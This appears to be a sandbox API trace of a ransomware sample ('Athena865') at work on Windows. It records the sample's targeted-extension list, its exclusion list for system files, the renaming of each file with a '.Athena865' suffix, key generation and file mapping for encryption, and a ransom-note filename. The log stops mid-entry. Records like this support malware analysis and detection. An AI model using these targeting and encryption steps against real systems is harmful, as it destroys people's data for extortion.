lstrlenW (lpString="lgc") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0111.518] lstrlenW (lpString="lwx") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0111.518] lstrlenW (lpString="maf") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0111.518] lstrlenW (lpString="maq") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0111.518] lstrlenW (lpString="mar") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0111.519] lstrlenW (lpString="marshal") returned 7 [0111.519] lstrcmpiW (lpString1="tsf.dll", lpString2="marshal") returned 1 [0111.519] lstrlenW (lpString="mas") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0111.519] lstrlenW (lpString="mav") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0111.519] lstrlenW (lpString="maw") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0111.519] lstrlenW (lpString="mdbhtml") returned 7 [0111.519] lstrcmpiW (lpString1="tsf.dll", lpString2="mdbhtml") returned 1 [0111.519] lstrlenW (lpString="mdn") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0111.519] lstrlenW (lpString="mdt") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0111.519] lstrlenW (lpString="mfd") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0111.519] lstrlenW (lpString="mpd") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0111.519] lstrlenW (lpString="mrg") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0111.519] lstrlenW (lpString="mud") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0111.519] lstrlenW (lpString="mwb") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0111.519] lstrlenW (lpString="myd") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0111.519] lstrlenW (lpString="ndf") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0111.519] lstrlenW (lpString="nnt") returned 3 [0111.519] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0111.520] lstrlenW (lpString="nrmlib") returned 6 [0111.520] lstrcmpiW (lpString1="sf.dll", lpString2="nrmlib") returned 1 [0111.520] lstrlenW (lpString="ns2") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0111.520] lstrlenW (lpString="ns3") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0111.520] lstrlenW (lpString="ns4") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0111.520] lstrlenW (lpString="nsf") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0111.520] lstrlenW (lpString="nv") returned 2 [0111.520] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0111.520] lstrlenW (lpString="nv2") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0111.520] lstrlenW (lpString="nwdb") returned 4 [0111.520] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0111.520] lstrlenW (lpString="nyf") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0111.520] lstrlenW (lpString="odb") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.520] lstrlenW (lpString="odb") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.520] lstrlenW (lpString="oqy") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0111.520] lstrlenW (lpString="ora") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0111.520] lstrlenW (lpString="orx") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0111.520] lstrlenW (lpString="owc") returned 3 [0111.520] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0111.520] lstrlenW (lpString="p96") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0111.521] lstrlenW (lpString="p97") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0111.521] lstrlenW (lpString="pan") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0111.521] lstrlenW (lpString="pdb") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0111.521] lstrlenW (lpString="pdm") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0111.521] lstrlenW (lpString="pnz") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0111.521] lstrlenW (lpString="qry") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0111.521] lstrlenW (lpString="qvd") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0111.521] lstrlenW (lpString="rbf") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0111.521] lstrlenW (lpString="rctd") returned 4 [0111.521] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0111.521] lstrlenW (lpString="rod") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0111.521] lstrlenW (lpString="rodx") returned 4 [0111.521] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0111.521] lstrlenW (lpString="rpd") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0111.521] lstrlenW (lpString="rsd") returned 3 [0111.521] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0111.521] lstrlenW (lpString="sas7bdat") returned 8 [0111.521] lstrcmpiW (lpString1="ptsf.dll", lpString2="sas7bdat") returned -1 [0111.521] lstrlenW (lpString="sbf") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0111.522] lstrlenW (lpString="scx") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0111.522] lstrlenW (lpString="sdb") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0111.522] lstrlenW (lpString="sdc") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0111.522] lstrlenW (lpString="sdf") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0111.522] lstrlenW (lpString="sis") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0111.522] lstrlenW (lpString="spq") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0111.522] lstrlenW (lpString="te") returned 2 [0111.522] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0111.522] lstrlenW (lpString="teacher") returned 7 [0111.522] lstrcmpiW (lpString1="tsf.dll", lpString2="teacher") returned 1 [0111.522] lstrlenW (lpString="tmd") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0111.522] lstrlenW (lpString="tps") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0111.522] lstrlenW (lpString="trc") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.522] lstrlenW (lpString="trc") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.522] lstrlenW (lpString="trm") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0111.522] lstrlenW (lpString="udb") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0111.522] lstrlenW (lpString="udl") returned 3 [0111.522] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0111.523] lstrlenW (lpString="usr") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0111.523] lstrlenW (lpString="v12") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0111.523] lstrlenW (lpString="vis") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0111.523] lstrlenW (lpString="vpd") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0111.523] lstrlenW (lpString="vvv") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0111.523] lstrlenW (lpString="wdb") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0111.523] lstrlenW (lpString="wmdb") returned 4 [0111.523] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0111.523] lstrlenW (lpString="wrk") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0111.523] lstrlenW (lpString="xdb") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0111.523] lstrlenW (lpString="xld") returned 3 [0111.523] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0111.523] lstrlenW (lpString="xmlff") returned 5 [0111.523] lstrcmpiW (lpString1="f.dll", lpString2="xmlff") returned -1 [0111.523] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.Athena865") returned 71 [0111.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.athena865"), dwFlags=0x1) returned 1 [0111.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0111.524] GetLastError () returned 0x20 [0111.524] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll CreateFile error 32\r\n") returned 91 [0111.525] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll CreateFile error 32\r\n") returned 91 [0111.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0111.525] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e26 [0111.525] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x5b, lpOverlapped=0x0) returned 1 [0111.526] CloseHandle (hObject=0x17c) returned 1 [0111.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.athena865"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwFlags=0x1) returned 1 [0111.527] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0111.527] CloseHandle (hObject=0x0) returned 0 [0111.527] CloseHandle (hObject=0xffffffff) returned 0 [0111.527] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2=".") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="..") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="windows") returned -1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="bootmgr") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="temp") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="pagefile.sys") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="boot") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="ids.txt") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="ntuser.dat") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="perflogs") returned 1 [0111.527] lstrcmpiW (lpString1="tpcps.dll", lpString2="MSBuild") returned 1 [0111.527] lstrlenW (lpString="tpcps.dll") returned 9 [0111.527] lstrcpyW (in: lpString1=0x241e8ae, lpString2="tpcps.dll" | out: lpString1="tpcps.dll") returned="tpcps.dll" [0111.527] lstrlenW (lpString="tpcps.dll") returned 9 [0111.527] lstrlenW (lpString="Athena865") returned 9 [0111.528] lstrlenW (lpString=".dll") returned 4 [0111.528] lstrcmpiW (lpString1="tpcps.dll", lpString2=".dll") returned 1 [0111.528] lstrlenW (lpString=".lnk") returned 4 [0111.528] lstrcmpiW (lpString1="tpcps.dll", lpString2=".lnk") returned 1 [0111.528] lstrlenW (lpString=".ini") returned 4 [0111.528] lstrcmpiW (lpString1="tpcps.dll", lpString2=".ini") returned 1 [0111.528] lstrlenW (lpString=".sys") returned 4 [0111.528] lstrcmpiW (lpString1="tpcps.dll", lpString2=".sys") returned 1 [0111.528] lstrlenW (lpString="tpcps.dll") returned 9 [0111.528] lstrlenW (lpString="bak") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.528] lstrlenW (lpString="ba_") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.528] lstrlenW (lpString="dbb") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.528] lstrlenW (lpString="vmdk") returned 4 [0111.528] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.528] lstrlenW (lpString="rar") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.528] lstrlenW (lpString="zip") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.528] lstrlenW (lpString="tgz") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.528] lstrlenW (lpString="vbox") returned 4 [0111.528] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.528] lstrlenW (lpString="vdi") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.528] lstrlenW (lpString="vhd") returned 3 [0111.528] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.528] lstrlenW (lpString="vhdx") returned 4 [0111.528] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.529] lstrlenW (lpString="avhd") returned 4 [0111.529] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.529] lstrlenW (lpString="db") returned 2 [0111.529] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.529] lstrlenW (lpString="db2") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.529] lstrlenW (lpString="db3") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.529] lstrlenW (lpString="dbf") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.529] lstrlenW (lpString="mdf") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.529] lstrlenW (lpString="mdb") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.529] lstrlenW (lpString="sql") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.529] lstrlenW (lpString="sqlite") returned 6 [0111.529] lstrcmpiW (lpString1="ps.dll", lpString2="sqlite") returned -1 [0111.529] lstrlenW (lpString="sqlite3") returned 7 [0111.529] lstrcmpiW (lpString1="cps.dll", lpString2="sqlite3") returned -1 [0111.529] lstrlenW (lpString="sqlitedb") returned 8 [0111.529] lstrcmpiW (lpString1="pcps.dll", lpString2="sqlitedb") returned -1 [0111.529] lstrlenW (lpString="xml") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.529] lstrlenW (lpString="$er") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.529] lstrlenW (lpString="4dd") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.529] lstrlenW (lpString="4dl") returned 3 [0111.529] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.530] lstrlenW (lpString="^^^") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.530] lstrlenW (lpString="abs") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.530] lstrlenW (lpString="abx") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.530] lstrlenW (lpString="accdb") returned 5 [0111.530] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0111.530] lstrlenW (lpString="accdc") returned 5 [0111.530] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0111.530] lstrlenW (lpString="accde") returned 5 [0111.530] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0111.530] lstrlenW (lpString="accdr") returned 5 [0111.530] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0111.530] lstrlenW (lpString="accdt") returned 5 [0111.530] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0111.530] lstrlenW (lpString="accdw") returned 5 [0111.530] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0111.530] lstrlenW (lpString="accft") returned 5 [0111.530] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0111.530] lstrlenW (lpString="adb") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.530] lstrlenW (lpString="adb") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.530] lstrlenW (lpString="ade") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.530] lstrlenW (lpString="adf") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.530] lstrlenW (lpString="adn") returned 3 [0111.530] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.531] lstrlenW (lpString="adp") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.531] lstrlenW (lpString="alf") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.531] lstrlenW (lpString="ask") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.531] lstrlenW (lpString="btr") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.531] lstrlenW (lpString="cat") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.531] lstrlenW (lpString="cdb") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.531] lstrlenW (lpString="ckp") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.531] lstrlenW (lpString="cma") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.531] lstrlenW (lpString="cpd") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.531] lstrlenW (lpString="dacpac") returned 6 [0111.531] lstrcmpiW (lpString1="ps.dll", lpString2="dacpac") returned 1 [0111.531] lstrlenW (lpString="dad") returned 3 [0111.531] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.531] lstrlenW (lpString="dadiagrams") returned 10 [0111.531] lstrlenW (lpString="daschema") returned 8 [0111.531] lstrcmpiW (lpString1="pcps.dll", lpString2="daschema") returned 1 [0111.531] lstrlenW (lpString="db-journal") returned 10 [0111.531] lstrlenW (lpString="db-shm") returned 6 [0111.531] lstrcmpiW (lpString1="ps.dll", lpString2="db-shm") returned 1 [0111.531] lstrlenW (lpString="db-wal") returned 6 [0111.531] lstrcmpiW (lpString1="ps.dll", lpString2="db-wal") returned 1 [0111.531] lstrlenW (lpString="dbc") returned 3 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.532] lstrlenW (lpString="dbs") returned 3 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.532] lstrlenW (lpString="dbt") returned 3 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.532] lstrlenW (lpString="dbv") returned 3 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.532] lstrlenW (lpString="dbx") returned 3 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.532] lstrlenW (lpString="dcb") returned 3 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0111.532] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0111.532] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0111.532] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0111.532] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.Athena865") returned 70 [0111.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.athena865"), dwFlags=0x1) returned 1 [0111.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.534] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=101376) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.534] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.535] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.535] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.535] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18f00, lpName=0x0) returned 0x154 [0111.536] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18f00) returned 0x100000 [0111.541] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.542] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.542] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.543] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0111.544] CloseHandle (hObject=0x154) returned 1 [0111.544] CloseHandle (hObject=0x17c) returned 1 [0111.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.545] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2=".") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="..") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="windows") returned -1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="bootmgr") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="temp") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="pagefile.sys") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="boot") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="ids.txt") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="ntuser.dat") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="perflogs") returned 1 [0111.545] lstrcmpiW (lpString1="tr-TR", lpString2="MSBuild") returned 1 [0111.545] lstrlenW (lpString="tr-TR") returned 5 [0111.545] lstrcpyW (in: lpString1=0x241e8ae, lpString2="tr-TR" | out: 